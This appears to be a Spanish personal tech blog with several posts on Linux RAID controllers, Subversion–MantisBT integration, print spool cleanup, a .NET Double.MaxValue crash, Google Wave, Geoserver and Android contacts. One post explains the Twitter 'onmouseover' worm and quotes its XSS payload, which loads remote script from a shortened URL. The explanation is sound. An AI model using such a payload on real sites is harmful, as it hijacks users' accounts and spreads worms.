Como utilizar una controladora LSI Logic SAS 1064e con Ubuntu/Debian

¿No habían pasado los tiempos de los Winmodem?, yo pensaba que si, que todo eso estaba solucionado, hasta que me he enfrentado al reciclaje de un servidor, quitando Windows y instalando una distro de Linux y me encuentro con los RAID-Software. Os cuento lo sucedido:

Imagen: www.kerneltrap.org

Imagen: www.kerneltrap.org

Uno tan feliz, mete el CD de Ubuntu, y se encuentra que: ¡¡¡¡No detecta ningún disco!!!!!. Este ordenador monta una placa Intel s5000spl, con una controladora “LSI Logic SAS 1064e“, que es algo parecido a los clásicos Winmodems, donde tiene una mezcla entre firmware y software que nos vuelve locos si no usamos un sistema operativo soportado.
A esta controladora, inicialmente le montamos un RAID 10 con 4 discos (el RAID 10 no nos quedo más remedio, ya que otra gracia de la placa es que si quieres RAID 5 tienes que poner 100 euros en la mesa, y en el bolsillo de Intel, para que te den una especie de jumper que habilita usar RAID 5 en la placa) y confiamos que funcione… Obviamente no pasó así.
Joder, a buscar los malditos drivers, y te encuentras algo muy molesto: Sólo soporta RedHat o Suse. ¿Lo qué?… La liamos.

Bueno, resignado, busco el código fuente del driver (que te lo dan eso si) y veo que se puede compilar el módulo para el Kernel, pero que tiene un problema: el código fuente del driver no funciona directamente en el Kernel de Ubuntu/Debian. Aparte, si usas un driver precompilado, NO puedes actualizar el Kernel, ya que tendrías que volver a adaptar otra vez el driver… trabajo de chinos.

Total, me rasgo las vestiduras. A la mierda, RAID por software… pero, ¿como leches hago para que se vean los discos?. Tras investigar, encontré un montón de información y vi que la controladora si estaba soportada, pero que a mucha gente no le funcionaba. ¿Pero por qué no funciona?.
Bueno, tras otro rastreo por los foros de ayuda de Ubuntu y el Bug Tracker de la distro , leo que al parecer la parte hardware si esta soportada, pero la parte que montan software no, ya que es propietaria.

Bueno, pues a la mierda con la parte software y todo arreglado. Simplemente hay que ir a la bios y en el apartado de “Mass Storage“, deshabilitar la “SW Raid“. Entonces, al instalar te apareceran los discos SIN el Raid que tenga configurado la controladora. Y ya tranquilamente puedes montar tu software-raid sobre linux, y ahora si podremos montar un RAID 5 como dios manda.

Otra batalla ganada.

Unir Subversion con MantisBt, sin complicaciones.

Cuando trabajamos de manera “seria” en proyectos de desarrollo software, hay una parte muy importante que es utilizar una buena herramienta de control de versiones, y un buen gestor de incidencias o bugs.

Personalmente, llevamos bastante trabajando con Subversion en mi empresa sin grandes quejas, lo cual nos permite mantener los desarrollas saneados y controlados… aparte de saber quien metió la pata en un programa, ya que sabemos quien modifica cada línea del programa.

Hace unos meses, nos dimos cuenta que necesitábamos un control de las incidencias que encontrabamos, y incluimos en nuestros sistemas MantisBt que sustituyó a las clásicas hojas escritas con todos los problemas encontrados :P. Todo un clásico para todo desarrollo informático.

Ahora bien, nuestro sistema de trabajo era muy simple, desarrollar, probar y luego subir a Subversion, y revisar más tarde Mantis para cerrar las incidencias resueltas.

Pero no paramos en este protocolo para el control de nuestros desarrollos y quisimos integrar ambos sistemas, con el siguiente objetivo: cuando subamos una revisión a Subversión, automáticamente se cerraran las incidencias asociadas, que indicaremos en el comentario de la revisión.
Tras investigar un poco por la red, encontramos una forma muy limpia, sin tener que programar, gracias a que ya habían desarrollado un plugin para integrar los dos servicios de manera bastante sencilla.

  1. Al menos tener la versión 1.2.x de Mantis (en nuestro caso la 1.2.3), y Subversion, cualquier versión por encima de 1.3.x, (en nuestro caso la 1.6.6). Tener acceso a un usuario con acceso a los repositorios y ser administrador en Mantis.
  2. Ir a la web del creador del plugin (por si tienes curiosidad, aquí tienes el Mantis del plugin), y bajarte los plugins que indica de este repositorio git. Son solo dos: “meta” y “source-integration“. Desde allí mismo nos permite bajar un snapshot en tar.gz.
  3. Descomprimimos y vemos que el plugin “source-integration” tiene una carpeta “Source” y luego otras carpetas para cada unos de los servidores de control de versiones soportados (Git y SVN). En el caso del SVN, podemos usar directamente el protocolo SVN o a través de WebSVN (en mi caso, use directamente el protocolo SVN), copiando sólo la carpeta “Source” y “SourceSVN“.
  4. Lista de Plugins

    Lista de Plugins en Mantis 1.2.3

    Una vez tengamos copiados las carpetas (ojo es importante que sean las carpetas que contienen los ficheros php) en el directorio “plugins” del directorio donde se encuentra Mantis, ir al interfaz de “Administración > Administrar Plugins“, e instalarlos, respetando las dependencias que muestran.

  5. Ahora seguimos las indicaciones que se indican en esta web, que son mucho más detalladas que las de su creador. Sólo hay una discrepancia: Todo se configura a través del plugin “Source Control Integration“, solo rellenando el campo “SVN: Path to binary“, en mi caso con “/usr/bin” en una Ubuntu 10.04 server.
  6. Ahora si queremos adaptarlo al castellano, cambiamos “Bug Fixed Regex Pass 1”, por algo parecido a:
    /(?:corregido?d?s?|arreglado?s?)+\s+(?:#(?:\d+)[,\.\s]*)+/i
    

    Así cada vez que escribamos esto (“arreglados #001 #008”) en un comentario de un commit de Subversión, cerraremos los bugs asociado en el mensaje.

  7. Se puede cambiar muchas más opciones, pero lo dejo a vuestra investigación. Nosotros no indagamos mucho más. Hay muchas más información en: aquí.
  8. Obtener la ruta de un repositoro

    Ahora aparecerá una nueva sección en los apartados principales de Mantis, llamado “Repositories”. Al entrar, podremos añadir un repositorio que controlar, en nuestro caso, hemos seleccionado el protocolo “SVN”, por lo que tiene que tener usar ruta el repositorio que empiece por “svn://”, y que tendréis que conocer si tenéis el repositorio en nuestro equipo (en Windows sólo hay que seleccionar la carpeta que tiene el repositorio en nuestro ordenador, y en propiedades, en la pestaña de “TortoiseSVN”, esta la ruta con el protocolo SVN). Recuerda que tienes que dar un usuario existe en Subversion, no en el sistema.

  9. Tras esto, pulsamos en “Import Latest Data“, y si no hay ningun error, tendremos un mensaje que nos indica hasta que revisión ha logrado importar. Si tienes muchas revisiones, puede dar un timeout, por lo que tendrás que volver a darle o aumentar el tiempo de timeout de servidor.

Ya está… Bueno, realmente no. Con esto esta conectado, pero cuando subamos un revisión a Subversion, veremos con desesperación que no se refleja en Mantis. ¿Porqué?. Bueno, en teoría, tendríamos que importar los datos cada vez desde el interfaz de Mantis. Esto, claramente, no es lo que buscamos, ya que queremos una experiencia “automática”. Para remediarlo, podemos automatizar la adquisición de los datos de los repositorios mediante una tarea programada. En nuestro caso:

  1. Editar el fichero “/etc/crontab“:
    # Integracion subversion y mantis
    */5 *   * * *   svn     curl "http://localhost/mantis/plugin.php?page=Source/import&id=all" >> /tmp/updateMantisFromSVN 2>&1
    

    Yo, al principio y por depuración, incluyo la redirección a un fichero, tu puedes cambiarlo a “/dev/null” por ejemplo.
    También, se puede cambiar la frecuencia, en este caso está puesto cada 5 minutos, que quizás sea un poco exagerado, y se podría subir.

  2. Nos tiene que devolver algo parecido a esto:
    <pre>Requesting svn log for Repo 1 starting with revision 28...
    Processing svn log...
    No revisions parsed.
    </pre><pre>Requesting svn log for Repo 2 starting with revision 9...
    Processing svn log...
    No revisions parsed.
    

    Y ya tenemos todo el tinglado montado.

¿Cómo funcionaba el último error de twitter: “onmouseover”?

Si usáis Twitter os habréis dado cuenta que ha sido un caso, cientos de comentarios raros que al movernos sobre ellos ocurría cualquier cosa, desde hacer un RT automático a vaya usted a saber quien, hasta recibir mensajes raros de tu navegador.

El culpable era un mensaje como este, que aparecía en tu timeline:

http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:\u002f\u002fis.gd\xxxxxxx')"/

Analicemos este mensaje, ya que usa un acortador de url “http://t.co” y justo delante, lleva una @, lo que en el mundo de Twitter suele significar que estamos respondiendo a un usuario (por ejemplo @twitter). El problema viene cuando la @ se identifica erróneamente como que se quiere indicar un usuario (¿en una url?) y el texto que viene después se asume que es un nombre de un usuario, y se escribe en el código de la web siguiente (si, como oyes) por lo tanto donde iría un nombre de usuario, ahora va un bonito código html con su javascript integrado.

Mucha mas información aquí.

Instalando las vmware-tools en Ubuntu 10.04

Tener un servidor de máquinas virtuales es una gran idea, y instalar las “vmware-tools” es casi obligatorio, ya que no instalarlas sería un problema en cuanto rendimiento.

Sin duda todo parece muy facil,  ya que desde el interfaz web se pueden “instalar”. Bueno, realmente, sólo monta una iso como un CD, y tu lo instalas desde un tar.gz. Pero claro, no iba a funcionar, y te recomiendo que no pierdas el tiempo. Si quieres instalar estas herramientas ejecuta lo siguiente:

aptitude update
aptitude safe-upgrade
aptitude install open-vm-tools open-vm-dkms

Y dale un poco de tiempo. Y sin romperte la cabeza.

Actualización: Si utilizas una versión más moderna de Ubuntu (espero que sí), te recomiendo que uses este script que suelo usar en mis maquinas, y que te lo instala sin problemas, y con el fichero original de VMWare.

Purgar la cola de impresión en el servidor de impresión de Windows 2003

Una tarea que puede ocurrir cuando centralizas en un servidor Windows 2003 todas las impresoras de un entorno corporativo es recibir una llamada de un usuario del tipo:

La impresora X no imprime, y por más que doy… ná. He reiniciado el ordenador 20 veces, le he rezado 20 avemarias al santo patrón de los BOFH, pero nada. ¡¡¡Arreglalo!!!.

Con resignación nos tocará levantarnos del sitio y tras descartar que el problema sea de la impresora, y ver que a la impresora no le llega nada de lo enviado (ese sería otro problema de no reproducirse este escenario que te cuento, luego busca en otro sitio: Este no es tu error), miramos con resignación a nuestro querido servidor de impresión.

Entramos en “Panel de control > Impresoras y faxes” o bien, mediante la pantalla de “Administre su servidor > Servidor de impresión“, allí miramos la impresora si tiene una impresión indestructible (si damos a cancelar y se queda eternamente “Eliminando…”). Si no queremos reiniciar el servidor, y de paso,no  dejar a los usuarios sin 20 minutos de servidor de impresión donde seguramente haya 3 personas con documentos que no pueden esperar ser imprimidos. La forma más rápida de solucionarlo puede ser esta (unos 2 minutos):

  1. Inicio > Herramientas Administrativas > Servicios“.
  2. Localizar “Cola de impresión” y pararla. No cierres esta ventana.
  3. Entra en “\WINDOWS\system32\spool\PRINTERS“. Puede que la ruta cambien un poco según donde tengas instalado el sistema operativo.
  4. Borra los ficheros *.SHD y *.SPL. Si no hay, comprueba que es allí donde se almacena la cola de impresión en el apartado de “Impresoras y Faxes > Archivo > Propiedades del servidor de impresión > Opciones Avanzadas > Carpeta de cola de impresión”. Si apunta a otra ruta, mira allí. Si tampoco están allí, este manual no te servirá para nada, lo siento.
  5. Vuelve a arrancar el servicio de “Cola de impresión”.
  6. Revisa que ya no hay documentos “enganchados” en la impresora.
  7. “Trabajito bien hecho, cigarrito pal pecho”.

Cuando Double.MaxValue, no es Double.MaxValue

Creo que es uno de los primeros post que voy a escribir por absoluta desesperación. Y el título lo dice todo.

Estamos desarrollando una aplicación en mi empresa, donde usamos un librería “open source” construida de manera intachable. Bien estructurada, con sus clases, con sus interfaces, y todo en NET 2.0.

Ahora viene lo bueno, dentro de la librería, hay un:

public const double Missing = Double.MaxValue;

Esta línea, parece encarnar el mal, y tiene el número #630 dentro del sistema de bugtracking del proyecto (a partir de ahora el número del mal). En ciertos equipos (si, en ciertos, sin diferenciación mayor que ser otro equipo), provoca que el programa se salga (mejor dicho: explote), sin generar ninguna excepción (lo que implica un error por debajo incluso del NET) y sin dejar ningún registro de error. En cambio, si ponemos:

Si hacemos una asignación quitando el alias:

public const double Missing = 1.7976931348623157E+308;

Tenemos otro crash silencioso al ejecutar el programa. Incluso rebajando el exponente, tenemos el mismo fallo. Pero esperen, que viene lo mejor:

public const double Missing = 999999999999999999;

Entonces, todo el felicidad, los pájaros cantan y las nubes se levantan… No falla.

¿¿¿Porqué???. De verdad que no lo entiendo, y los oscuros mundos del NET me tienen frito.

Pues no termino de entender el porque. Puedo conjeturar que viene por la representación que le da .NET, no es representable por algún nivel más bajo de la máquina, o algún redondeo que implique un overflow. Pero la verdad que no he encontrado nada por la red, y menos aun por los foros de la librería. Pueden ser muchos factores, y me estaré dejando muchos sin tener en cuenta, pero desde luego ahora mismo estoy falto de ideas.

¿Google ha fracasado con Wave?

Sentado en mi tumbona, con una cervecita en la mano, disfrutando del veranito alejado de todo esto de la tecnología y demás, no he podido evitar leer la noticia del “abandono” de Wave por parte de Google.

Yo, que soy de natural pasivo (mi madre dice “vago”), he esperado tranquilamente a leer a las “grandes mentes” que opinan de esto, para luego ver como evolucionaba el tema y lograr tener una visión más clara. Obviamente es muy sencillo hacer un gran titular y cerrar un post que sabes que tendrá muchas visitas sólo por el encabezamiento apocalíptico (un “Google cierra… el mundo se acaba” es lo que pide el cuerpo).

Ciñámonos a lo que acontece: Google no continúa con el desarrollo de Wave. Vale, hasta aquí correcto. Google reconoce que su producto no ha cuajado, sea por lo que sea, y libera el código fuente, prometiendo que otros productos de la casa usarán lo aprendido en el desarrollo de Wave.

¿Ha fracasado?. Tecnológicamente, no. De hecho, Wave funcionó al final bastante bien, y hacia lo que prometía. Era un producto totalmente innovador, que iba bastante adelantado a cualquier herramienta colaborativa actual. Por lo tanto no han fracasado en esta faceta.

En cambio, en cuanto a “vender el producto”. Pues casi lo logran, si no hubieran tenido en cuenta que no orientaron (ni bien ni mal) lo que ofrecían: ¿Correo en tiempo real, Wikipedia evolutiva (os juro que he leído este término), herramienta colaborativa,…?. Todavía se recuerda la presentación que se hizo por su parte, que generó un ruido increíble en la comunidad, donde se mendigaba (incluso vendía) una invitación para usar Wave, para luego, al usarlo, quedarte mirando la pantalla de tu ordenador y pensar… ¿para que coño sirve esto?. Por lo tanto, si han fracasado en esta tarea de comunicar el objetivo de la herramienta, y donde creo que Google sigue fracasando: lanza un producto al público en general y lo deja ahí sin más, incluso el soporte lo da la comunidad que se forma siempre alrededor de un producto de Google (se esta viendo muy claro con Android, e incluso con Chrome). ¿Esto es correcto?, ¿es una buena política?.

Partamos de la idea de que Google hace muchas cosas sabiendo de antemano que no obtendrá beneficio, al menos directo. Google regala servicios a cambio de incluir publicidad, y para conocer nuestro hábitos (esto es lo más importante) para mejorar su publicidad. Google lanza globos sonda tecnológicos (se puede permitir ese lujo), innova con productos sin un “destino” definido (abocados al fracaso directamente), sabiendo que muchas de las cosas que va a lanzar se quedaran en el camino (Blogger… a medias en todo), pero no para de innovar y lanzar cosas, no le importa. El dinero no entra en la gran “G” por sus servicios que proporciona gratuitamente al usuario final, si no por su red de servicios que despliega que tiene una meta “oculta” (ya no tanto) que es mejorar su red de publicidad. ¿Recuerdas porqué servicios Google cobra?… Pocos, si enumeramos todos los que ofrece. Y si quitamos los “premium”, tipo Picasa, se cuentan con los dedos de la mano.

También es cierto que la venta de sus productos para empresas, los famosos Google Apps, que la gente empieza a ver con buenos ojos ya que “es de Google”, gracias la imagen de empresa puntera y la calidad de servicio que se espera de esta empresa, la cual se logra con “fracasos” como Wave y “victorias” como el Gmail.

Mientras Wave se diluirá entre el resto de los servicios que ofrece Google, de nuevo, el gigante ha demostrado que va muy por delante de cualquier competidor, que ha desarrollado una tecnología hasta ahora desconocida y encima, no tener  problema en mostrarla, dejar que juguemos con ella. El gigante se puede permitir lanzar productos, fracasa, o dejarlos a medias. No es problema que fracase, mientras mejore su imagen.

Geoserver y las extensiones “ImageIO-ext” no se llevan bien con Tomcat (>= 6.0.24)

Parece que tenemos un problema, Houston. Y uno gordo.

Muchas de las personas que utilizamos Geoserver como servidor de mapas, nos hemos decidido por la combinación Geoserver+Tomcat, ya que parece una forma “ordenada” y “optimizada” de implantar un servidor de mapas.

Pero todo tiene problemas.

Si hemos instalado las extensiones “ImageIO-ext” para obtener la posibilidad de usar muchos más formatos de fuentes de cartografía en nuestro servidor, y por casualidad hemos actualizado a una versión de Tomcat por encima de la 6.0.24 (inclusive) nos encontramos que al intentar usar un formato de los que nos da soporte las extensiones “ImageIO-ext”, encontramos este fantástico error:

Caused by: java.lang.IllegalArgumentException: Incorrect input type!
       at javax.imageio.ImageReader.setInput(ImageReader.java:290)
       at it.geosolutions.imageio.gdalframework.GDALImageReader.setInput(GDALImageReader.java:838)

¿Yuhu?. Bueno, al menos, es un error reconocido por la gente de Geoserver y ahora mismo esta trabajando en ello, aunque no creo que tengan una solución próxima, ya que el problema esta en la extensión, no en el servidor Geoserver. La extensión tiene un problema de “leak” de memoria en ciertas condiciones, y las nuevas versiones de Tomcat tiene un nuevo mecanismo que detecta esto fallos que pueden peligrar el buen funcionamiento del servidor y hacen que no permita el registro de la extensión en el sistema (et voilà, ya no tenemos acceso a la extensión).

Aunque haya algún “workaround” a la vista, como deshabilitar dicho mecanismo de protección anti-fugas de memoria en el servidor Tomcat. Aunque esperemos que no quede mucho para que lo solucionen de una manera mas “fina”.

Referencias:

Android te da un “Android.process.acore” al sincronizar tus contactos con Google

Parece que el problema se extiende, ya que no son pocos los que se encuentran con un “Android.process.acore” cuando tratan de sincronizar sus contactos con Google.

El problema viene en la mayoría de los casos por saltos de línea que no espera el programa, o caracteres raros dentro de los campos que tiene un contacto. En muchos casos en el campo de Facebook de un contacto, por lo que sería lo primero a revisar.

Para investigar sin problemas, sólo tendremos que desactivar la “Sincronización de datos” automática dentro del submenu “Google” en el apartado de “Ajustes>Sincronización de datos“.

Este problema esta reconocido, y tiene su propio “Bug” en el sistema de Bugs de Android que obviamente, sigue abierto… Pero en el hilo de dicho bug, también hay un método bastante sencillo y cómodo. Baja al comentario 39 de dicho hilo y verás un sencillo método que nos permitirá no tener problemas con los caracteres ni los saltos de linea.

En resumen:

  1. Quitar la sincronización automática de los contactos con Google en “Ajustes->Sincronización de datos->Google->Sincronización automática“.
  2. Instalarnos en el teléfono el programa “ExportContacts” y crear un fichero .csv con nuestros contactos dentro de nuestra tarjeta SD. Saca este fichero a nuestro ordenador.
  3. Ese .csv puede ser importado a nuestros contactos de Gmail sin problema, entra en Gmail, en “Contactos->Importar“. Ojo, ya que los unirá a los contactos que tengas en Gmail, y quizás quieras borrar alguno que no te interese en Gmail.
  4. Borrar todos los contactos del teléfono. Sin miedo, ahora los tiene Google.
  5. Volver a activar la sincronización de los contactos en el teléfono.
  6. Si te aparece un mensaje de advertencia al sincronizar sobre que “Demasiados contactos borrados“, pulsa en “Deshacer borrado” (a mi no me salió dicho mensaje)
  7. Sincroniza… en un rato tendrás todos los contactos en tu teléfono de nuevo.

Un saludo 🙂

HTC Hero, y el follón de los contactos

Ante la llegada de una actualización a la versión 2.1 para los poseedores de un telefono HTC Hero, muchos nos preguntamos como hacer correctamente un backup para mayor seguridad del contenido de nuestro telefono. El problema, o al menos el mio, es que no se muy bien, que se borra y que no. Que parte de mi teléfono esta en la nube, y cual no. Y centrándonos en lo más importante para mi: los contactos.

Tratemos de clarificar el tema.

Existen tres tipos de contactos posibles dentro de nuestro teléfono, y el tipo se encuentra en la parte derecha en la lista de contactos y según como tengas configurado el teléfono, solo mostrara algunos tipos. Para verlos en el listado de contactos tenemos que entrar en “Contactos” presionar “Menú” y luego “Ver”, allí saldrán 3 opciones (SIM, Teléfono y Google), pincha las 3 y verás con sorpresa la cantidad de contactos que tienes:

  • SIM: el clásico almacenamiento en la SIM de tu teléfono. Tiene el problema de que el espacio es restringido y que no se puede almacenar mucho más que nombre y teléfono.
  • Teléfono: almacenamos el contacto en la memoria del teléfono. Tiene un montón de opciones, y mucha información por cada contacto (igual o más que Google), pero, OJO, se borran con las actualizaciones de la ROM.
  • Google: Nuestro amigo Google, nos hace el favor de tener en la nube todos nuestros contactos. Obviamente, no se borran tras una actualización de la ROM, ya que al actualizar la ROM, con indicar nuestra cuenta de Gmail se sincroniza solo.

Obviamente, lo más cómodo es tener los contactos como “Google”… pero si los metemos en una categoría, como por ejemplo “Teléfono”, no se pueden cambiar el tipo, y tendrás que exportar el contacto y luego cargarlo en Gmail… con todos los problemas añadidos. Es decir, si tenemos los contactos metidos dentro de la memoria del teléfono (categoría teléfono), no podremos pasarlos a Google y que se sincronicen automaticamente… ¡¡¡ Maldita sea !!!, yo tengo todo metido en el teléfono.

Para solucionar este problema, buscamos en el Market: “ContactSync“. Una vez instalada, le damos al unico botón de la aplicación… y listo. Todos los contactos que antes estaban en el teléfono han pasado a ser tipo “Google”. Espera a que se sincronice con la nube y el milagro se habrá obrado.

Otro problema es que Google mete como contacto en la nube a cualquiera que le hayas mandado un correo… genial, ¿verdad?. Yo personalmente hice una limpia de contactos en Gmail antes de sincronizar nada, ya que no me gusta tener muchos contactos de gente que solo he tenido un correo esporádico o de una lista de correo. Pero vamos, esto va en gustos.

Y con esto, a esperar la actualización a la 2.1 🙂